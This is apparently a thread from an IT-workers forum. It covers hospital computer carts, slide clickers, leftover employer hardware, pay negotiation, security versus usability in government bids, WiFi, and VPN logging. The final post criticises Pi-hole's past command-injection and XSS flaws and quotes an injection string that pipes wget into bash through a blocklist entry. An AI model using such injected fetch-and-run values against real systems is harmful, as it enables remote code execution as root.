Already answered but here is what we have in my hospital  After a few months they look like the nurses play destruction derby with them. We have no idea what happens during the night shift, but they get broken in strange and interesting ways.

Stupid question, is there a way to make sure that a Logitech slide clicker will advance a slide whether or not PowerPoint has focus? Sometimes I have to twiddle with Zoom during a company meeting and then the clicker won't work until I click back into PP, which then adds one extra advance annoyingly. Seems like the clicker just sends Left Arrow / Right Arrow keystrokes but maybe there's some kind of logitech driver or PP setting that will send a true "slide forward" command?

You're high up enough in the food chain here that the nitty-gritty details are not what is truly what you're paid for, it's the organizing/running the CTF competition level stuff. That's still awesome! Workstation on wheels. Hugh got it. To add the requisite cynical joke, the drawers are usually either empty, or have someone's breakfast in it. I've found someone's Raisin Bran bowl in one once  They're typically either a mini desktop or thin client in the compartment under the desk, or an all in one mounted on the VESA bracket. At my last hospital people kept breaking the USB ports because you could still reach inside, so they would do that to plug in their phones or by scraping it against the wall. One time someone got a wheel out and it was just standing there on 3 legs ready to tip over. I have no idea how or why they did that. At my new place they tend to treat this stuff way better.

Evilcorp has sent me two surface pro's. I was working out of an azure VDI for months. I reach out to my desktop folks, asking for the serial of the laptop assigned to me, technically its neither of these surface pros. We updated it to one of the ones they sent me. How long do I keep this extra surface pro on ice until I just say "sucks for you guys" and just do what I want with it?

I have changed jobs with 10s of thousands of dollars (at the time) single mode 10G and 100G optics. No one ever chased them down. Always thought that was cool/weird. Should have just grey marketed them, now they sit in a junk cube in the basement.

Just got a call back from a company, they're a client of mine at my MSP, their senior admin has really been pushing their IT Director/VP of Ops to get things moving. Anyway, I gave them my salary ask (120k) and they countered with all they can afford in their budget right now is 80k. Yeah, no, not taking a pay cut even though I'd love to get out of MSP space, call me when your budget gets bumped up.

We have the opposite problem compared to the last couple of pages regarding IT security. We jump through all the hoops (and I mean all of them) - We as a technical team are happy to do this and it makes sense given where we work. But now we are losing bids because our client (the government) tell us we are not innovative enough. When we ask to innovate we are told "cant do that, gotta be secure" - It's not like we are being dumb, we are saying 'hey can we implement X if we do Y and Z to mitigate the risks' but we just get shutdown by $Boss at every turn - yet our competitors are finding a way, the story we are told is they are cowboys taking risks at every turn. ((Obviously I'm paraphrasing somewhat...) It's principles such as this that make me think I'm at the point where I've taken this role as far as I can and I dont accept the status quo any more - I can do better elsewhere when the shackles are off. My eyes are on the market but I'm not in a super rush to leave - this is a very secure gig whilst we emerge from the end of Covid I suppose. It's an odd situation

Well, security and usability are constantly at war. The most secure system is one nobody can access, after all. It's possible the companies you're losing bids to are doing insecure work and it's possible they'll get away with it, but is that necessarily how you want to work? In any case, do you profit if the company you work for wins bids? If not, don't worry about it.

To be fair , having the government tell you that you are not being innovative enough is pretty vague. Your issue is probably more on the sales side and/or on the side where you aren’t bribing the right people.

Is the narrative of your competitors being reckless cowboys something that $Boss is pushing? Because from the sound of it, their definition of reckless includes implementing X while mitigating with Y and Z. Maybe that's exactly what the competitor is doing and why they are winning. I've heard lots of cautionary tales and anecdotes over the years about how incompetent our competitor was despite their continued success and growing market share. Now all I can think is, if that's how bad they are and they're still winning, what does that say about us?

Your sales dudes aren't doing enough or your competitors sales dudes are just better. Atleast at the DoD a lot of contracts are based around schmoozing with various officers and higher level enlisted.

Sickening posted:To be fair , having the government tell you that you are not being innovative enough is pretty vague. Your issue is probably more on the sales side and/or on the side where you aren’t bribing the right people. One example would be that we as a company have not managed to deploy wifi in a secure way, even though in this country there is guidance published by the government that if we follow, they will accept. For ~some reason~ in this company, security is beating usability. I am sure there are example of our competitors cutting corners, I have no doubt and no I would not like to work in that way but this isn't as black and white as secure or insecure to me, for me it's about if the company would accept a small amount of risk - e.g. have wifi = bigger attack surface, mitigate by following gov. guidance. (to very quickly surmise) there is a million more things we could actually do. I know there are masses of additional complications like 'we dont have the money to invest in wifi infrastructure right now' especially in a pandemic, but this issue isn't a new issue for us and all our competitors have overcome such hurdles - we are just behind but more problematic - we are in this position and there is no drive from IT to fix it, we are happy to have a difficult to use set of systems because it's less work than introducing new stuff.

If you've not figured out how to deploy Wi-Fi then I wouldn't want to buy any sort of technology solution from you either. Taking all the security concerns to the extreme you could deploy on a totally physically separate network, on a dedicated internet service that goes nowhere near your other firewalls, enable client isolation on the network and treat every Wi-Fi client like an external device and enforce whatever constraints you enforce on external devices.

How would you go about getting some basic logging for a Wireguard VPN? I just set one up for my company (bout 15 employees) and the pres wants some level of activity logging so we can get some optics on what people are using it for. tcpdump is okay but they want something VISUAL. I'm actually somewhat tempted to just install pihole so we at least get a list of domains that are being accessed

Why are you using wireguard in a production environment? That protocol is basically a tech demo at best right now. Yes, it's really fast. No it is not ready for primetime.

I've been pushing hundreds of thousands of connections and 2-3 digit gbps over wireguard for the last year (with no failures, over the internet, between managed and unmanaged endpoints). The only reason ever that you would not be using it is if you have regulatory requirements demanding you use some IPSEC vendor-slightly-varying implementation or similar If anything it's been much less terrible than PPTP and old-cipher OpenVPN Nobody Interesting posted:I'm actually somewhat tempted to just install pihole so we at least get a list of domains that are being accessed Pihole is notoriously insecure.

A long time ago when EWDM optics were relatively new we got a shipment of 10g ones and they came in just a standard, non-descript Cisco box like the ones that carry 4g WICs etc. The sort of box you could easily lose in even a small storage closet. except the contents of the box was worth nearly 800k AUD We ended up reorganizing our store specifically so we didn't lose them (or anything else like 'em)

Severe code smell: for the last few years in a row, time after time, there are constantly weird vulnerabilities around very common things that are basic web development: directly passing things to a shell script or argument without escaping it, and XSS everywhere. I hope it's gotten better, but practically half the web part has some issue where all user given values are dangerous. Like anything on your network resolving a hostname containing JS in the hostname would just be printed back out onto the page. Shell scripts and shell commands frequently had "hey you can run commands by loading a blocklist containing `127.0.0.1 | wget -O | bash `" type of thing. Even a month ago there was another set of several "we concatenate user input directly into a shell command" vulns that run as root.
